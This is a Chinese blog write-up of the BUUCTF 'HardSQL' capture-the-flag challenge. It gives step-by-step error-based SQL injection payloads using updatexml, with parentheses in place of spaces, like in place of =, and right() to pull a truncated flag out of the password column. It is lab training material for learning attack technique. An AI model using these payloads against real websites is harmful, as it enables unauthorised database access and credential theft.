[极客大挑战 2019]HardSQL
(主要记录一下自己做题的思路)
题目:
打开环境,得到:
![图片[1]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-79.png)
有两道类似的sql注入题目,可以参考一下
废话不多说,都说了是hardsql了,直接fuzz测试一下,可以看到有很多还是没被过滤的,现在就要自己再手动测试一下常见的一些方式了,我这里说下我做这题的思路:
先试着输入了admin' #,返回了:
![图片[2]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-80.png)
说明空格确实被过滤,接着就要想办法绕过空格了,先试着用了下/**/来绕过空格,发现同样被过滤了,难啊,半天了,
现在只有用()括号来绕过空格了,这里简单讲下空格绕过的原理:
()括号绕过原理括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
试着输入:
![图片[3]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-81.png)
发现没有出现那个“臭弟弟”,证明绕过了空格
现在仔细观察那个error界面,猜测应该是报错注入,先试试用updatexml注入看:
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
这里0x7e是'~'的编码,害怕被'影响
可以拿到数据库:
![图片[4]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-82.png)
继续查表名,构造payload:
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
直接拿到了表名:
![图片[5]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-83.png)
继续查列名,payload为:
admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
然后得到:
![图片[6]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-84.png)
所以再改进一点payload为:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
可以拿到列名,继续构造payload:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
可以拿到一半的flag
![图片[7]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-85.png)
然后这里就要补充一点知识了,也可以对上面的payload构造有点理解
补充知识:
- 空格被过滤可以使用/**/或者()绕过
- =号被过滤可以用like来绕过
- substring与mid被过滤可以用right与left来绕过
所以这里如果要得到右边的flag的话,就要用right来构造了,直接看构造好的payload:
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#
最终拿到右边的flag:
![图片[8]-[极客大挑战 2019]HardSQL – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-86.png)
去掉重复的,拼接上就可以了,所以最终flag为flag{12c6820b-49f5-4b93-a2c9-1d7522eaff51}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END

![[极客大挑战 2019]BabySQL - buu刷题笔记-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-45.png)
![[极客大挑战 2019]LoveSQL - buu刷题记录-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-32-1024x546.png)













请登录后查看评论内容